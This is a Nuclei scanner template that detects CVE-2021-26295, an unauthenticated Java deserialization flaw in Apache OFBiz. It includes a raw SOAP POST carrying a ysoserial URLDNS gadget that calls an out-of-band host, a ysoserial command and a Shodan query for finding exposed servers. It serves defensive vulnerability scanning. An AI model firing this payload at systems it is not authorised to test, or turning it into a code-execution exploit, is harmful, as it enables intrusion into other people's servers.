id: CVE-2021-26295

info:
  name: Apache OFBiz <17.12.06 - Arbitrary Code Execution
  author: madrobot
  severity: critical
  description: |
    Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Apache OFBiz to version 17.12.06 or later to mitigate this vulnerability.
  reference:
    - https://github.com/yumusb/CVE-2021-26295-POC
    - https://packetstormsecurity.com/files/162104/Apache-OFBiz-SOAP-Java-Deserialization.html
    - https://github.com/zhzyker/exphub/tree/master/ofbiz
    - https://lists.apache.org/thread.html/r3c1802eaf34aa78a61b4e8e044c214bc94accbd28a11f3a276586a31%40%3Cuser.ofbiz.apache.org%3E
    - https://lists.apache.org/thread.html/r6e4579c4ebf7efeb462962e359501c6ca4045687f12212551df2d607@%3Cnotifications.ofbiz.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26295
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-26295
    cwe-id: CWE-502
    epss-score: 0.97465
    epss-percentile: 0.99956
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: ofbiz
    shodan-query: "OFBiz.Visitor="
    ysoserial-payload: java -jar ysoserial.jar URLDNS https://oob-url-to-request.tld | hex
  tags: cve2021,cve,packetstorm,apache,ofbiz,deserialization,rce

http:
  - raw:
      - |
        POST /webtools/control/SOAPService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version='1.0' encoding='UTF-8'?>
        <soapenv:Envelope
          xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header/>
            <soapenv:Body>
              <ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
                  <ns1:cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</ns1:cus-obj>
              </ns1:clearAllEntityCaches>
            </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "errorMessage"
        condition: and

      - type: word
        part: header
        words:
          - "OFBiz.Visitor="
# digest: 4b0a00483046022100e04458e25cbecebcd58811ac23c6174bce44be12837d57ec0e89d7cbf3f996ac02210094dd842930966ba832f8c767196969e556ed6c5dae58db9b461e66f7eefa4786:922c64590222798bb761d5b6d8e72950